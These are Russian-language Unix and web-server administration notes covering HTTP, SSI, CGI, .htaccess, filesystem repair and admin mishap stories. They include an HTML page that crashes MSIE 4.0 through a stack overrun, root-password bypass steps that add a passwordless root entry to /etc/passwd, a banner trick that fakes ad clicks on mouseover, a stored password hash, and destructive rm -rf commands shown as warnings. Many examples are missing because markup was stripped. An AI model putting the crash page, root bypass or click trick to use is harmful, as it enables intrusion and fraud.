    ^M^J       - пустая строка - конец заголовков - конец запроса
    
    Обратно вываливается ответ сервера:
    
    http-шные заголовки
    на нескольких строках
    ^M^J        - пустая строка
    Собственно запрошенный документ as is
    
    &dD;Упражнение:&d;@ скажите
    
    $ telnet www 80
    Trying 127.0.0.1...
    Connected to localhost.
    Escape character is '^]'.
    GET /index.html HTTP/1.0
    
    И потом два раза нажмите на Enter
    
    
            &dD;Как работет докачка в HTTP/1.1 протоколе?&d;@
    
         В запрос вставляется специальное поле "Range: bytes nnn-".
    Сервер с докачкой возвращает код 206 -  "Часть  содержимого"  и
    передает  запрошенную  часть файла. Если сервер не поддерживает
    докачки, он просто возвращает 200 и высылает весь файл как  при
    обычном запросе.
    
            &dDSSI; - Server Side Includes&d;@
    
    Полная спецификация лежит, например на www.apache.org
    
    0. Чтобы SSI-файлы взводили Last-modified, добавить в конфиг
    XBitHack full
    и сделать им chmod g+x file.shtml
    
    1. Чтобы  SSI  выполнялись,  необходимо  задать в конфигурационных
    файлах сервера:
    
    /etc/httpd/conf/access.conf :------------------------
      # "Включить"
    Options +Includes      # или даже Options All
    /etc/httpd/conf/srm.conf :------------------------
    
    AddType text/html .shtml
    AddHandler server-parsed .shtml
    
    2. Тогда SSI отрабатываются только в файлах с расширением .shtml
    
    Примеры:
    
    charset=
    
    
    
    
    
    
    The  value  will  often be enclosed in double quotes; many comн
    mands only allow a single attribute-value pair.
    
    The allowed ELEMENTS are:
    
    config  - параметры парсинга
        Атрибуты config
         errmsg  - сообщение об ошибке, посылаемое клиенту
         sizefmt - формат размера файла
         timefmt - формат даты модификации файла
         var     - напечатать имя переменной
    
    exec    - выполнить shell или CGI-скрипт
         cgi     - (%-encoded) URL relative path to the CGI script.
         cmd     - выполнить shell
    
    fsize   - напечатать размер файла
         file    - относительное имя файла
         virtual -(%-encoded) URL-path relative файла
    
    flastmod - последннее время модификации файла
    
    include  - вставить документ
         file    - вставляемый файл
         virtual - URL - только на этом же хосте
    
    Include variables
    
    These  are  available  for the echo command, and to any program
    invoked by the document.
    
    DATE_GMT
         The current date in Greenwich Mean Time.
    DATE_LOCAL
         The current date in the local time zone.
    DOCUMENT_NAME
         The filename (excluding directories) of the document requested
         by the user.
    DOCUMENT_URI
         The (%-decoded) URL path of the document requested by the user.
         Note that in the case of nested
         include files, this is not then URL for the current document.
    LAST_MODIFIED
         The last modification date of the document requested by the user.
    
    
    If server side includes are enabled, you will see data values below:
    
    The date is:                      
    The current version of the server 
    The CGI gateway version           
    The server name                   
    This file is called: This file's URI The query string This file was last modified: The size of the unprocessed file sample.html was last modified You are using You came from # Эмуляция SSI в perl-cgi if (//) { print $`;$tmp = $'; open (INC,"$inc") || die "Can't Open $inc: $!\n"; while () { if (//) { @time = localtime ( time() ); $time[4]++; if ($time[4] < 10) { $time[4] = "0" . "$time[4]"; } s//$time[3].$time[4].$time[5]/g; } print $_; } close(INC); print "$tmp"; } &dD;Управление доступом через httpd.conf&d;@ SetEnvIfNoCase Referer rusf\.ru internal_referer SetEnvIfNoCase User-Agent Teleport internal_referer SetEnvIfNoCase User-Agent Vampire internal_referer SetEnvIfNoCase User-Agent ReGet internal_referer SetEnvIfNoCase User-Agent GetRight internal_referer SetEnvIfNoCase User-Agent Wget internal_referer ErrorDocument 403 http://rusf.ru/books/index.htm order deny,allow deny from all allow from env=internal_referer # No offline browsers в robots.txt User-Agent: DISCo Pump, Wget, WebZIP, Teleport Pro, WebSnake, Offline Explorer, Web-By-Mail Disallow: / &dDCGI; - спецификация интерфейса между сервером httpd&d;@ и внешними, вызываемыми программами - gateeway'ями. Сам CGI-script должен лежать в /home/httpd/cgi-bin тогда его находят (или в других каталогах, описанных в acces.conf Данные передаются в командной строке, через переменные окружения, и через стандартный ввод. Возвращаются на стандартный вывод, в начале должна стоять "волшебная строка" Если добавить в коннфигурационный файл /etc/httpd/conf/srm.conf :------------------------ AddType application/x-httpd-cgi .cgi То CGI-скрипты можно будет клась в любой подкаталог дерева документов - с расширением .cgi &dD;Формы и индексы&d;@ Войти в файл, и спозиционироваться на строку с шаблоном "cl" http://hoohoo.ncsa.uiuc.edu/file.html#cl Request for a CGI script with no extra path information and no query. http://hoohoo.ncsa.uiuc.edu/cgi-bin/test-cgi Request for a script with extra path information, and no query. http://hoohoo.ncsa.uiuc.edu/cgi-bin/test-cgi/extra/path Request for a script with no extra path information, and an ISINDEX query. http://hoohoo.ncsa.uiuc.edu/cgi-bin/test-cgi?query Request for a script with extra path information as well as an ISINDEX query. http://hoohoo.ncsa.uiuc.edu/cgi-bin/test-cgi/extra/path?a+query Вызывается одна и та же программа, но ей передается 0,1,1 или 2 аргумента: extra path - "добавочный маршрут", идущий вслед за именем екзешника query - длинная строка после знака "?" на extra path работает image map - им передается имя описателя картинки query передается заполненным ISINDEX &dDCGI-;скрипту передаются такие параметры:&d;@ Параметры передаются в переменных окружения. REMOTE_ADDR=127.0.0.1 REMOTE_HOST=localhost HTTP_REFERER=http://www.ac.msk.su:80/cgi-bin/html-KOI?KSP/bachurin.txt REQUEST_METHOD=GET QUERY_STRING=query PATH_INFO=/marshrut PATH_TRANSLATED=/home/httpd/docs/marshrut SCRIPT_NAME=/cgi-bin/proba HTTP_USER_AGENT=NCSA Mosaic for the X Window System/2.4 libwww/2.12 modified А теперь вот как оформляются формы с checkbox'ами:
    Press me.

    Press me.

    # ISINDEX - параметр запроса передается пргограмме CGI в $1 # В форме METHOD=GET - там вызывается команда которой передается # аргумент в переменной окружения QUERY_STRING # http://hoohoo.ncsa.uiuc.edu/cgi-bin/test-cgi?button1=on&button2;=off # А вот как работает POST, и PUT. Дополнительная информация проталкивается клиентом на сервер. Сервер подает ее cgi-программе на стандартный ввод. длина посылаемого файла устанавливается в переменной окружения CONTENT_LENGTH а тип данных - в CONTENT_TYPE FORM ACTION="http://hoohoo.ncsa.uiuc.edu/cgi-bin/test-cgi" METHOD="POST"
    ^^^^^ поле полезно чтоб хранить информацию о "сеансе" Press me.

    &dD;Что мы посылаем клиенту обратно:&d;@ Status: 200 OK Status: 404 File not found Content-type: text/html Содержимое, которое кидается сквозь нашего сервера - клиенту Если я генерю не содержимое, а только ссылку, то: Location: /path/doc.txt или Location: gopher://gopher.ncsa.uiuc.edu/ Генерим текст в чистом серверном виде - он поедет клиенту сразу, без дополнительной фильтрации: --- start of output --- HTTP/1.0 200 OK Date: Tuesday, 26-Dec-95 15:17:10 GMT Server: NCSA/1.3 MIME-version: 1.0 Content-type: text/html Last-modified: Tuesday, 24-Dec-95 15:15:41 GMT Content-length: 3132 This is a plaintext document generated on the fly just for you. --- end of output --- Подставляйте туда соответствующие значения переменных $SERVER_PROTOCOL $SERVER_SOFTWARE &dD;Фенечки&d;@ Автоподстановка URL с timeout'ом. Подставить в начало документа: Дальше идет местный HTML-документ - который через 12 секунд будет автоматически заменен на вышеуказанный URL Вообще - таг META HTTP-EQUIV позволяет взвести дополнительные поля в HTTP-заголовок документа. Например "насильственное взведение charset'а:
    I'm entering for the first time from (city, state/country)

    Content-type: text/html Set-Cookie: cookiename=valueofcookie; expires=Saturday, 28-Feb-96 23:59:59 GMT; path=/cgi-bin/mycgiprogram Эта штучка будет автоматом отсылаться в наш сервер клиентом, как только он ее получил Подробнее см. http://citforum.ru/win/internet/html/c_what_is.shtml Если сказать так, то клиент останется на старом месте, и не будет переходить по ссылке Status: 204 No Content А такой линк позволяет сразу заполнить некоторые поля в mailto послании tets Самокликаемое письмо > Была идея посылать в него сообщение когда мышкой над баннером проводят. > (Когда баннер интересен, часто к нему курсор подводят) > Но что-то я не допгр как это реализовать без hidden frame. В правилах устанавливаешь, что у тебя _стандартный код_ твоей сетки содержит: Когда клиент будет снизу _пересекать_ мышью твою однопиксельную полоску будет автоклик, а чтоб клиента не напрягать - пускай твой http://koshelev.ru/cgi-bin/bannerOver возвращает код 204 No Content - т.е. _не переходить_ на линк а остаться на старой странице. &dD;Ссылка на которую переходят автоматически&d;@ Достаточно навести на эту ссылку мышь, и броузер пойдет по линку - без клика. &dD;Простые эксплойты&d;@ MSIE 4.0. 4.01 can be crashed with a little help of the < EMBED > tag. <EMBED SRC=file://C|/A.ABOUT_200_CHARACTERS_HERE___________________> opens a dialog box and closes IE 4.0. the long file extension causes stack overrun. --------cut here and save as crashmsie.html--------------------- Trying to crash IE 4.0 <EMBED SRC=file://C|/A.012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789> 40 80 160 170 180 190 200 </HTML> --------------------------------------------------------------- &dD;Закрытие каталогов для внешних клиентов&d;@ Создаем в каталоге файл .htaccess такого содержания order deny,allow deny from all allow from polimos.ras.ru localhost AuthType Basic AuthName lenta.ru AuthUserFile /home/www/passwd # moshkow:1HrhNpfYnwTau стандартный crypt() require valid-user &dD;См. так же&d;@ Константин Окраинец. Учебник по HTML из Дубны Фреймы и прочие дополнения, возникшие в HTML 2.0 и HTML 3 . &dD;Ремонт разрушенных файловых систем&d;@ Практически единственное средство лечения разрушений файловой системы во всех Unix - утилита &dDfsck;&d;@. Если не лечит она, то дело ваше почти безнадежно. Я бы посоветовал в морг, но энтузиасты могут еще немного подергаться. &dD; * LINUX * &d;@ Примечание: команды приведенные в примерах следует выполнять только внимательно взвесив возможные последствия. Поэтому в примерах реальные имена спецфайлов разделов жесткого диска заменены на &dD;/dev/hd-name&d;@ (в реальной жизни применяется /dev/hda2, /dev/hdb3 /dev/sda1...) Тонкая рихтовка fs &dDtune2fs;&d;@ позволяет поменять настраиваемые параметры файловой системы -c max-mount-counts -m reserved-blocks-percentage и т.п. tune2fs -m 1 /dev/hd-name # найдет вам еще 50Mb свободного места, # и позволит учинить на оставшемся клочке # свободного места катастрофическую фрагментацию Стандартное лечение файловой системы: fsck -y -c -f /dev/hd-name Форсированное лечение с проверкой и "замещением" bad-блоков fsck -y -c -f /dev/hd-name # -y неинтерактивное лечение "yes" на все вопросы # -c найти bad-блоки readonly тестом и перенести в inod bad-блоков # -f форсировать проверку (игнорировать флаг "fs is clean" Если погиб основной суперблок, добавить ключ -b 8193 или -b 16385 ... указав запасную копию. Номера запасных sb сообщает при разметке раздела утилита newfs. (Вы конечно же сохранили ее листинг?) Распечатать размещение служебных структур fs и параметры суберблока могут команды &dDtune2fs; -l&d;@ и &dDdumpe2fs;&d;@ tune2fs /dev/hd-name dumpe2fs /dev/hd-name Если погибли _все_ копии суперблока - последний шанс &dDmke2fs; -S&d;@ прописать _только_ структуры суперблоков и описатели групп, не трогая самих данных mke2fs -S /dev/hd-name # Write superblock and group descriptors only fsck -y /dev/hd-name # сразу всед за этим запустить fsck И даже это еще не конец. Для сильных духом остается отладчик файловой системы &dDdebugfs;&d;@ man debugfs &dD;Поведение в авариной ситуации&d;@ Естественно, целее будете, если загрузитесь в single-user mode Для этого перехватить при загрузке LILO-промпт (Left-alt) И в команду загрузки добавить параметр single Lilo: &dDlinux; single&d;@ В linux'овский single-user можно попасть только зная пароль root. Не зная пароля, надо грузиться так: Lilo: linux init=/bin/sh или даже так (если подготовлена rescue-дискета с файловой системой unix) Lilo: linux init=/bin/sh root=/dev/fd0H1440 Перемонтировать корневой раздел из readonly в write mount -t ext2 -n -o remount,rw /dev/hd-root / Смонтировать разрушенную fs, используая альтернативный суперблок mount -t ext2 -o sb=8193,nocheck /dev/hd-name /mntname Пдробности (вы будете смеяться): man mount . &dD;Максим Мошков. Истории из жизни администратора Unix, или Грабли&d;@ &dD;История 1 со счастливым концом. Испорченный /etc/passwd&d;@ &dD; > Один товарищ (не я :), это из Коми) решил своему root'y вместо положенного > /sbin/sh сделать /bin/ksh > Для чего отредактировал /etc/passwd, но неудачно, ошибся и назначил > /sbin/ksh. > Пробовали: > $ su root -c /sbin/sh > Не помогло. Теперь он горько плачет и хакера зовет. > Можешь помочь, или суровое: переустанови юних? &d;@ Это мы проходили. Классика. Перво- наперво "никогда, НИКОГДА не меняй shell у суперюзера..." :-) 0. Запустить shell из-под root'а все-таки можно: su root -m -s /bin/sh Но если еще и пароль забыт, тогда - поможет загрузка в single user mode или загрузка с CD/floppy/tape 1. Дать команду df, посмотреть минор/мажор у девайса, на который монтируется корень, и затем почитать мануал по команде mknod # mkdev, mknode, mksf - создать специальный файл # или как там еще она называется и записать на бумажке команду, которой создается спец-файл /dev/root (или куда там монтируется "/" 2. Загрузиться с инсталляционного стриммера/дискеты/CD. и там где уход на install/update/system maintance пойти на "system maintence" (это всего навсего shell root'овый) Осталось смонтировать /dev/root на /mnt и редактировать /mnt/etc/passwd &dD;Засада No 1&d;@ Сразу после загрузки мини-системы специальных файлов соответствующих жесткому диску нет (!). Сделать его ручками - команда mknode уже записана на бумажке. &dD;Засада No 2&d;@ Редактор vi не запускается (Нет terminfo) Ну и черт с ним. Придумаешь что нибудь. Например echo "toor::0:0:Yet another Super-User:/:" >> /mnt/etc/passwd ^^^^^^ обрати внимание что >> а не > (Угадай почему :-) а можно и так: PATH=$PATH:/mnt/bin:/mnt/usr/bin export PATH TERMINFO=/mnt/usr/lib/terminfo # или где он там Короче - ты дома потренируйся, а потом в Коми напиши точные имена файлов и команд, а то боюсь необученный админ сможет промахнуться пару раз, а здесь промахиваться нельзя. Приложение: Обход root passwd в Motorola Unix SVR4/88. 1. Посмотреть major/minor для / и /usr 104 0 /dev/root 104 3 /dev/dsk/m197_c0d0s3 2. Загрузка с ленты, уход на maintance . 3. Подмонтировать разделы диска, соответствующие / и /usr, с восстановлением файловой системы (т.к. система была выключена некорректно при отсутствии root пароля). mkdir /mnt mknod /dev/rootn b 104 0 /etc/fs/ufs/fsck /dev/rootn mount -F ufs /dev/rootn /mnt аналогично для /usr mknod /dev/usr3 b 104 3 /etc/fs/ufs/fsck /dev/usr3 mount -F ufs /dev/usr3 /mnt/usr 4. Отредактировать /etc/passwd, сделать беспарольного root echo "toor::0:1:Adm:/:/sbin/sh" >> /mnt/etc/passwd 5. Cменить корень root'у (будет в /mnt) chroot /mnt /sbin/sh 6. Обновить shadow pwconv Все. &dD;История 2 почти о том же. Испорченный /etc/fstab&d;@ Date: 20 Apr 1997 From: Bernshtam Pavel (barnshte@CS.bgu.ac.il) У меня тоже было - запортил я /etc/fstab и сделал reboot не заметив ошибки - бабах - поднимается (а это был Axil с SunOS 4.1) в single user. я делаю ls - Command not found - понятно - не замоунтил /usr посмотрел я на другом SUN'е что есть в /sbin - нашел mount, обрадовался - сделал /sbin/mount /usr. Есть VI! Помучался пока установил нужный set TERM с полчаса - запустил VI. открываю fstab - фигня со строками (вот оно - не работайте в PICO, учите VI !!!), исправил, save'лю - а root partition то READ ONLY !!! Делаю stop-A. Слава богу, посоветовали мне, что в boot-мониторе можно сделать b -rw (замаунтить с write), после этого я повторил всю процедуру с mount и VI и исправил /etc/fstab. а... еще забыл - VI не запускался пока я /var не замаунтил, т.к /tmp - линк на /var/tmp , а VI без /tmp не идет. /* а на Linux специальная команда есть - перемонтироваться на read-write - ее из single-user-mode можно выполнить mount -n -o remount / */ &dD;Команда rm -rf в SCO&d;@ Ввиду того, что под шаблон ".*" подходит каталог ".." НИКОГДА НЕ ДЕЛАЙТЕ КОМАНДЫ rm -r .* (Большинство unix'ов прощают подобную ошибку, но НЕ ВСЕ) &dD; From: Павел Северов "... решил я на нашем SCO-шном сервере с Oraclовской базой расчистить немного свободного места на диске..." # cd /usr/tmp # rm -rf * гляжу, а там всякий хлам остался /usr/tmp/.X11-0 ну и т.п. А я тогда # rm -rf .* # ОЙ! # du ldd: Can not open file # df ldd: Can not open file # ls -al ldd: Can not open file &d;@ . . . У этой истории грустный конец. Вы уже догадались, что /usr/tmp/.* содержит в себе /usr/tmp/.. После reboot'а машина, не найдя каталога /usr уже не ожила. &dD;Удаленный доступ или "Запасной ключ от сейфа лежит в сейфе"&d;@ Хорошая штука, Unix + TCP/IP - можно отконфигурить машину у черта на куличках не вставая с рабочего места и даже не выходя из дома. &dD;История 1.&d;@ Вот и я однажды менял то ли IP-адрес, то ли роутинг на удаленной машине... Короче - промахнулся, сказал ifconfig eth0 down Вот собственно и все. Сказать ifconfig eth0 NEW-IP было уже некому. Вы конечно догадались, что _НАДО БЫЛО_ одной строкой писать ifconfig eth0 down ; ifconfig eth0 NEW-IP up ; route add ... &dD;История 2.&d;@ Захотелось повысить уровень security. Пишем в /etc/hosts.deny ALL:ALL в /etc/hosts.allow ALL:193.263.12.13 ^^^ вроде бы маленькая ошибочка, цифры переставить, а нельзя - я уже успел отлогиниться. &dD;Удаленный "доступ" или "Ключа вообще нет"&d;@ Повис у нас однажды сервер, надо reset нажать, перегрузить, а комната заперта, и ключи уже унесли. И telnet'ом не войдешь - некуда. Вырубили свет на всем этаже, включили вновь - voila! &dD;Новая /lib/libc.so - апгрейд LIB C&d;@ Linux. 1993 год. Потребовалось подменить LibC. Ну, вперед, делов-то - старую передвинуть, новую - на ее место. cd lib mv libc.so libc.so-old mv libc.so-new libc.so ldd: Can not execute, shared library not found Finish. Пришлось грузиться с дискеты, монтировать hd. Но, как это ни смешно, в следующий раз те же команды, записанные в одну строку, сработали. Или библиотечка в кэше оказалась... Темна вода в Linuxе. Впрочем, файлы из каталога /sbin - обычно staticaly-linked - им для работы разделяемая libc без надобности. &dD;История 1. Trusted mode - безопасность превыше всего&d;@ В HP-UX новички администраторы очень любят sam'ом поиграть - GUI, мышиный интерфейс - администрируй на здоровье. Вот только читать сообщения надо - а они по-английски все. Очень легко, одним "Ok" в SAM включается перевод системы в trusted режим. Включают, и не замечают. А замечают через пару дней, когда с трех раз не угадают пароль root. В trusted режиме логин после этого блокируется совсем, а другого юзера ПЕРЕД ЭТИМ завести - не догадываются. Как всегда - нас спасет single user mode: перехват загрузки в prompt IPL и затем IPL> hpux -is А затем запуск sam. И переконвертировать систему в "untrusted" # mount -a # sam Но если вы ухитрились еще и пароль на boot включить - то помогайте себе сами. &dD;История 2. Security class C2: о том же, но в SCO&d;@ Security class C2 - это повышенная безопасность. И повышенный геморрой для пользователей. И для администратора - тоже. Привелось нам позвонить на защищенную SCO машину из Москвы в Питер, по модему. Скорости getty с первого раза подобрать не смогли, на логин прорывался 6-битный мусор, после третьей попытки вместо getty Login мы увидели "Intruder attempts, tty line /dev/modem disabled". Через пару недель хозяин машины вернулся в Питер и вернул getty. &dDScreen-;сейвер и кнопка Enter&d;@ Когда screen-saver гасит экран, что вы нажимаете? Не знаю, как остальные, а я жму клавишу CTRL. Один мой знакомый решил почистить каталог /tmp. Из-под root'а. набирает он rm -rf /tmp/*, точнее хочет набрать, поскольку в момент rm -rf /_ звонит телефон и его куда-то вызывают. Через час он вернулся, увидел погашенный экран, и нажал _свою_ любимую клавишу. Угадайте, какую? .

    Last-modified: Mon, 10 Sep 2001 12:43:31 GMT